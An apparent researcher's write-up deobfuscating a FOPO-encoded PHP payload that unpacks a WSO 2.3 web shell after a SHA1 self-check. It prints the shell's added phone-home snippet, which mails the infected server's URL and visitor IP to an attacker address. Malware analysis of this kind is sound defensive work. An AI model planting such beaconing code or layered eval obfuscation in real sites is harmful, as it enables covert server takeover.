This attack was part of the same campaign that attempted to install the K4X SHELL.
The aspect that caught my eye was the FOPO comment at the beginning of the downloaded code:
/*
Obfuscation provided by FOPO - Free Online PHP Obfuscator: http://www.fopo.com.ar/
This code was created on Monday, June 13th, 2016 at 20:35 UTC from IP 105.101.73.6
Checksum: e49039ce96a8397fe017a8efcc58e8edcbcca45c
*/
Something about it didn't look right, so I deobfuscated it by hand. I focused on the deobfuscation, and I didn't realize that it was truly FOPO-encoded. A common FOPO-decoding program works much faster. Since I did the work, I might as well document it.
The obfuscation appears to be about 7 or 8 layers of use of base64_decode(gzdeflate($somestring));
.
Each level gets to surround the result of that in an @eval();
,
along with obfuscating the strings "base64_decode", "gzdeflate", and sometimes "strrev" or "str_rot13".
Deobfuscation by hand consists of pretty-printing,
finding appearances of eval
, changing them to print
,
then interpreting that modified PHP to get the next level of un-encoded PHP.
There is a hitch at about the 3rd level...
It appears that the code has embedded in it,
the SHA1 hash of part of its contents.
That is,
the code takes advantage of PHP's __FILE__
built-in to read its name's contents.
The code removes carriage-return (ASCII 0x0d) and newline (ASCII 0x0a)
valued bytes,
then runs the remaining bytes of its contents through preg_replace()
,
leaving it with 309 bytes to give to the SHA1 hash function.
If the SHA1 hash value of those 309 bytes agrees with the embedded SHA1 hash,
the code deobfuscates a WSO (Web Shell by oRb) web shell and executes it.
Otherwise, it deobfuscates an enormous amount of rubbish bytes,
and displays them.
You can verify the whole thing yourself:
- Calculate the SHA1 hash of the original file:
php ./sha1.php 2001:16a2:4e5f:7800:8506:10f0:187e:f721XGYFnS5uIQAzVElOak3WGgAAAAE.0.file
That should display "0b7917164ae38e34b09b48ed527c6496992b1469", a string appearing in that file. - Run the
preg_replace()
on the original file:php replace.php 2001:16a2:4e5f:7800:8506:10f0:187e:f721XGYFnS5uIQAzVElOak3WGgAAAAE.0.file > replaced_bytes
- Recalculate the SHA1 value:
php sha1 replaced_txt
That should also display "0b7917164ae38e34b09b48ed527c6496992b1469".
How about that? FOPO-encoding isn't that bad to deobfuscate by hand. Also, embedding a SHA1 hash in the hashed document seems like it would be exceptionally difficult. You can make SHA1 collisions, but it sounds computationally intensive.
The deobfuscated code is definitely WSO v2.3.
It has the function names of WSO, and the use of call_user_function()
based on the value of the HTTP parameter 'a' (for "action"?).
It's almost identical to my reference WSO 2.3,
except that it appears to have gotten "minified" somewhere along the way.
All the HTML and JavaScript sections got turned into one-liners,
and the use of single- and double-quotes all over the code
has actually been improved from the standpoint of not having
so many backslashes to escape single-quotes in single-quoted strings.
The sole departure from stock WSO 2.3 is a phone home at the end of the code.
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$bilsmg = "Link Mailer : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "\r\n";
$bilsnd = "[email protected]";
$bilsub = "New Mailer !! {$ip}";
$bilhead = "From: MaileRyew";
$bilhead .= $_POST['eMailAdd'] . "\n";
$bilhead .= "MIME-Version: 1.0\n";
$arr = array($bilsnd, $IP);
foreach ($arr as $bilsnd) {
mail($bilsnd, $bilsub, $bilsmg, $bilhead, $message);
}
The address [email protected]
can be found
in what's maybe a test of some encoding method.
Other than that, I don't find it in search engines.
It looks a bit buggy too, the use of $IP
in
$arr = array($bilsnd, $IP);
will probably yield an array with one string element and one
zero-length string.
The code uses $ip
earlier, and never assigns to $IP
.
It's impossible to say if this is a bug, or what the bug is.